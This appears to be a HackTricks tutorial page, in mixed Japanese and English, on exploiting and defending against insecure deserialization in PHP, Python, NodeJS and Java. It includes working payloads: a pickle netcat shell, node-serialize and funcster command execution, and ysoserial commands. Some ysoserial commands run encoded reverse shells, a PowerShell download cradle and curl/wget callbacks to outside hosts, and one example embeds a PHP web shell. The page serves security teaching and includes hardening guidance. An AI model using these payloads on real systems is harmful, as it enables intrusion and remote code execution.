Deserialization
Reading time: 62 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Serialization は、オブジェクトを保存可能な形式に変換する方法を指し、オブジェクトを格納したり通信の一部として送信することを目的としています。この手法は、後でオブジェクトの構造や状態を維持したまま再作成できるようにするために一般的に利用されます。
Deserialization は逆に serialization を元に戻す処理で、特定の形式で構造化されたデータを受け取り、それをオブジェクトに再構築します。
Deserialization は危険になり得ます。なぜなら、オブジェクト再構築の過程で攻撃者が serialized データを操作し、悪意のあるコードを実行させたりアプリケーションに予期しない挙動を引き起こしたりする可能性があるためです。
PHP
In PHP、serialization および deserialization の過程で特定のマジックメソッドが利用されます:
__sleep: オブジェクトが serialized される際に呼び出されます。このメソッドは、serialized すべきオブジェクトのプロパティ名の配列を返す必要があります。保留中のデータを確定したり、類似のクリーンアップ処理を行うために一般的に使われます。__wakeup: オブジェクトが deserialized される際に呼び出されます。serialization の間に失われた可能性のあるデータベース接続を再確立したり、その他の再初期化処理を行うために使用されます。__unserialize: オブジェクトが deserialized される際に、__wakeupが存在する場合でも代わりに呼び出されます。__wakeupと比べて deserialization 処理をより細かく制御できます。__destruct: オブジェクトが破棄される直前やスクリプト終了時に呼び出されます。通常はファイルハンドルやデータベース接続のクローズなどのクリーンアップに使用されます。__toString: オブジェクトを文字列として扱えるようにするメソッドです。内部の関数呼び出しに基づいてファイルの読み取りなどに利用でき、オブジェクトのテキスト表現を提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.
warning
The method __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
説明付きの PHP の例 は次を参照してください: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら: https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはこちら: https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHP の autoload 機能を悪用して任意の php ファイルなどを読み込ませることができます:
PHP - Deserialization + Autoload Classes
参照値のシリアライズ
何らかの理由で値を 別のシリアライズされた値への参照としてシリアライズ したい場合は、次のようにできます:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
allowed_classes を使った PHP Object Injection の防止
info
unserialize() の 第2引数($options 配列)への対応は PHP 7.0 で追加されました。古いバージョンでは関数はシリアライズされた文字列のみを受け取り、どのクラスがインスタンス化されるかを制限することが不可能になります。
unserialize() は、明示的に指示しない限り、シリアライズされたストリーム内で見つけた すべてのクラスをインスタンス化します。PHP 7 以降では、allowed_classes オプションで挙動を制限できます:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
もし allowed_classes が省略されている または コードが PHP < 7.0 上で実行されている 場合、この呼び出しは 危険 になります。攻撃者は __wakeup() や __destruct() といったマジックメソッドを悪用するペイロードを作成し、Remote Code Execution (RCE) を達成できます。
実例: Everest Forms (WordPress) CVE-2025-52709
WordPress プラグイン Everest Forms ≤ 3.2.2 はヘルパー・ラッパーで防御しようとしたものの、レガシーな PHP バージョンを考慮していませんでした:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
まだ PHP ≤ 7.0 を実行しているサーバでは、この2番目の分岐は管理者が悪意のあるフォーム送信を開いたときに古典的な PHP Object Injection を引き起こしました。最小限の exploit payload は次のようになる:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
管理者がエントリを閲覧した瞬間、そのオブジェクトがインスタンス化され、SomeClass::__destruct() が実行され、任意のコード実行が発生しました。
要点
unserialize()を呼ぶときは常に['allowed_classes' => false](または厳格なホワイトリスト)を渡してください。- 防御用ラッパーを監査してください — レガシーな PHP ブランチを見落としがちです。
- 単に PHP ≥ 7.x にアップグレードするだけでは 十分ではありません:そのオプションは明示的に指定する必要があります。
PHPGGC (ysoserial for PHP)
PHPGGC は、PHP のデシリアライズを悪用するペイロードを生成するのに役立ちます。
ただし、いくつかのケースではアプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられないことがあり、外部の PHP 拡張のコードを悪用できる場合があります。
可能ならサーバの phpinfo() を確認し、インターネットで検索(さらには PHPGGC の gadgets も含めて)して、悪用可能な gadget を探してください。
phar:// metadata deserialization
もしファイルを読み取るだけで内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). のような関数を利用している場合、phar プロトコルを使ってファイルを読み込む際に発生する deserialization を悪用してみてください。
詳細は以下の投稿を参照してください:
Python
Pickle
オブジェクトが unpickle されると、関数 ___reduce___ が実行されます。
悪用された場合、サーバはエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
以下のページでは、YAMLのPythonライブラリにおける unsafe deserialization を悪用する手法を示し、Pickle、PyYAML、jsonpickle、ruamel.yaml 用の RCE deserialization ペイロードを生成するツールで締めくくっています:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
デシリアライズを悪用してこれらの関数を改竄し別のコードを実行させられる(potentially abusing prototype pollutions)と、呼び出された際に任意のコードを実行できます。
Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ と prototype pollution
この手法について学びたい場合は、以下のチュートリアルを参照してください:
NodeJS - proto & prototype Pollution
node-serialize
このライブラリは関数をシリアライズできます。例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
シリアライズされたオブジェクト は次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
この例では、関数が serialized されると _$$ND_FUNC$$_ フラグが serialized オブジェクトに追加されるのが確認できます。
ファイル node-serialize/lib/serialize.js の中で同じフラグとコードがそれをどのように使っているかを見つけられます。
.png)
.png)
最後のコードブロックを見ると、フラグが見つかった場合 eval が関数を deserialize するために使われており、基本的に user input が eval 関数内で使われている ことになります。
しかし、just serialising a function won't execute it。実際にはコードのどこかが y.rce を呼び出す 必要があり、これは非常に 起こりにくい です。
とにかく、オブジェクトが deserialized されるときに関数を自動実行させるために、単に modify the serialised object して adding some parenthesis を行えばよいのです。
次のコードブロックでは、最後の parenthesis に注目し、unserialize 関数がどのようにコードを自動実行するかを確認してください:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
前述のとおり、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、evalを使って実行します。したがって、コードを自動実行するには、関数作成部分と最後の括弧を削除して、次の例のようにJS onelinerを実行するだけです:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
funcster の注目すべき点は、**標準の組み込みオブジェクト(standard built-in objects)**がアクセス可能なスコープの外にあることです。これにより、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が阻止され、console.log() や require(something) のようなコマンドを使用した際に "ReferenceError: console is not defined" のような例外が発生します。
この制限があるものの、特定の手法により全ての標準組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを回復することが可能です。グローバルコンテキストを直接利用することでこの制限を回避できます。例えば、次のスニペットを使ってアクセスを再確立できます:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
詳しくは more information read this source.
serialize-javascript
The serialize-javascript パッケージはシリアライズ専用に設計されており、組み込みのデシリアライズ機能を持ちません。ユーザーはデシリアライズの方法を自分で実装する必要があります。公式の例では、シリアライズされたデータをデシリアライズするために直接 eval を使用することが示されています:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
この関数がオブジェクトをdeserializeするために使用されている場合、簡単にそれを exploit できる:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
For more information read this source.
Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaでは、deserialization callbacks are executed during the process of deserialization。この実行は、悪意のあるpayloadsを作成してこれらのcallbacksをトリガーする攻撃者によって悪用され、望ましくない操作が実行される可能性があります。
Fingerprints
White Box
コードベースで潜在的なserializationの脆弱性を特定するには、次を検索してください:
Serializableインターフェースを実装しているクラスjava.io.ObjectInputStream、readObject、readUnshareの使用
特に注意する点:
- 外部ユーザによって定義されるパラメータで利用される
XMLDecoder - XStream の
fromXMLメソッド(特に XStream のバージョンが 1.46 以下の場合、serialization の問題に弱い可能性があります) ObjectInputStreamとreadObjectの組み合わせreadObject、readObjectNodData、readResolve、またはreadExternalといったメソッドの実装ObjectInputStream.readUnsharedSerializableの一般的な使用
Black Box
black box テストでは、ObjectInputStream に由来する java serialized objects を示す特定の signatures or "Magic Bytes" を探してください:
- 16進パターン:
AC ED 00 05 - Base64 パターン:
rO0 - HTTP レスポンスヘッダで
Content-typeがapplication/x-java-serialized-objectに設定されている - 圧縮済みであることを示す16進パターン:
1F 8B 08 00 - 圧縮済みであることを示す Base64 パターン:
H4sIA - 拡張子が
.facesの Web ファイルやfaces.ViewStateパラメータ
これらのパターンを Web アプリケーションで発見した場合は、post about Java JSF ViewState Deserialization に詳述されているように検査を行ってください。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性の有無を確認
もしJavaのDeserializationエクスプロイトの仕組みを学びたい場合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを参照してください。
SignedObject-gated deserialization and pre-auth reachability
モダンなコードベースでは、deserializationをjava.security.SignedObjectでラップし、getObject()(内部オブジェクトをdeserializesする)を呼ぶ前に署名を検証することがあります。これは任意のトップレベルのgadget classesを防ぎますが、攻撃者が有効な署名を取得できる(例: private-key compromise や signing oracle)場合には依然として悪用可能です。さらに、エラーハンドリングのフローによって認証されていないユーザー向けにsession-bound tokensが発行され、通常は保護されているsinksがpre-authで露出することがあります。
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to すべてのライブラリをチェック known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.
ブラックボックステスト
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.
java.lang.Runtime.exec() 用の payload を作成する際、実行の出力をリダイレクトするための「>」や「|」のような特殊文字や、コマンドを実行するための "$()"、または spaces で区切られた pass arguments のようなものを使用することはできません(echo -n "hello world" のようなことはできますが、python2 -c 'print "Hello world"' のようなことはできません)。payload を正しくエンコードするには、use this webpage を参照してください。
次のスクリプトを使って、Windows と Linux 向けの all the possible code execution payloads を作成し、脆弱なウェブページでテストしてください:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
このツール https://github.com/pwntester/SerialKillerBypassGadgetCollection を ysoserial と併用して より多くの exploits を作成することができます。
このツールについての詳細は、ツールが紹介された講演の スライド にあります: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec は Java の様々な Json および Yml シリアライゼーションライブラリを悪用するための payloads を生成するのに使用できます。
プロジェクトをコンパイルするために、pom.xml にこれらの 依存関係 を 追加 する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven をインストールし、プロジェクトをコンパイルしてください:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
この Java JSON ライブラリの詳細: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
ラボ
- ysoserial のペイロードをテストしたい場合、この webapp を実行することができます: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
なぜ
Java は以下のような様々な目的で serialization を多用します:
- HTTP requests: Serialization はパラメータ、ViewState、cookies 等の管理で広く使われます。
- RMI (Remote Method Invocation): Java RMI プロトコルは完全に serialization に依存しており、Java アプリケーションのリモート通信の基盤です。
- RMI over HTTP: Java ベースの thick client web アプリケーションで一般的に使われ、すべてのオブジェクト通信に serialization を利用します。
- JMX (Java Management Extensions): JMX はオブジェクトをネットワーク経由で送信する際に serialization を利用します。
- Custom Protocols: Java では、生の Java オブジェクトを送信するのが標準的な慣行であり、これは後の exploit 例で示されます。
対策
Transient objects
Serializable を実装するクラスは、シリアライズされるべきでないクラス内のオブジェクトを transient として宣言できます。例えば:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializable を実装する必要があるクラスの Serialization を回避する
クラス階層のために特定の オブジェクトが Serializable を実装しなければならない 場合、意図しない deserialization のリスクがあります。これを防ぐには、これらのオブジェクトを non-deserializable にするために、常に例外を投げる final な readObject() メソッドを定義してください。以下のように:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java におけるデシリアライゼーションのセキュリティ強化
Customizing java.io.ObjectInputStream は、デシリアライゼーション処理を保護するための実用的なアプローチです。次の場合に有効です:
- デシリアライズ処理のコードがあなたの管理下にある場合。
- デシリアライズ対象となるクラスが既知である場合。
デシリアライズを許可されたクラスのみに制限するために、resolveClass() メソッドをオーバーライドします。これにより、明示的に許可されたクラス(例えば下記の例のように Bicycle クラスのみ)以外のクラスのデシリアライズが防止されます:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement は、コードの変更が不可能な場合のフォールバックソリューションを提供します。この方法は主に blacklisting harmful classes に適用され、JVM パラメータを使用します:
-javaagent:name-of-agent.jar
コードの即時変更が現実的でない環境に適した、deserialization を動的に保護する方法を提供します。
例は rO0 by Contrast Security を参照してください。
Implementing Serialization Filters: Java 9 は ObjectInputFilter インターフェースを通じて serialization filters を導入しました。これは、serialized objects が deserialized される前に満たすべき条件を指定するための強力な仕組みを提供します。これらのフィルタはグローバルに、またはストリーム単位で適用でき、deserialization プロセスに対して細かな制御を可能にします。
serialization filters を利用するには、すべての deserialization 操作に適用されるグローバルフィルタを設定するか、特定のストリーム向けに動的に構成できます。例えば:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
外部ライブラリを活用したセキュリティ強化: NotSoSerial, jdeserialize, Kryo のようなライブラリは、Javaのデシリアライズを制御・監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリスト/ブラックリスト化、デシリアライズ前のシリアライズオブジェクトの解析、カスタムなシリアライゼーション戦略の実装など、追加のセキュリティ層を提供できます。
- NotSoSerial はデシリアライズ処理を介入して、信頼できないコードの実行を防ぎます。
- jdeserialize はオブジェクトを実際にデシリアライズせずにシリアライズされたJavaオブジェクトを解析でき、潜在的に悪意のある内容の特定に役立ちます。
- Kryo は高速性と効率性を重視した代替のシリアライゼーションフレームワークで、設定可能なシリアライゼーション戦略によりセキュリティを強化できます。
参考資料
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
以下のページで、JNDI Injection が何か、RMI, CORBA & LDAP を介してそれを悪用する方法、および log4shell をどのようにエクスプロイトするか(およびこの脆弱性の例)を確認してください:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
Java Message Service(JMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaのメッセージ指向ミドルウェアAPIです。producer–consumer 問題を扱うための実装です。JMS は Java Platform, Enterprise Edition (Java EE) の一部であり、もともとは Sun Microsystems によって定義された仕様によって策定され、その後は Java Community Process によって導かれてきました。これは、Java EE ベースのアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。分散アプリケーションの異なるコンポーネント間の通信を疎結合、信頼性のある、非同期なものにします。(出典: Wikipedia)。
製品
メッセージ送信にこのミドルウェアを使用している製品がいくつかあります:
.png)
.png)
悪用
要するに、JMS を危険な形で使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限(通常は有効な資格情報が必要)を持っている場合、consumer/subscriber によってデシリアライズされる悪意のあるシリアライズ済みオブジェクトを送信できる可能性があります。
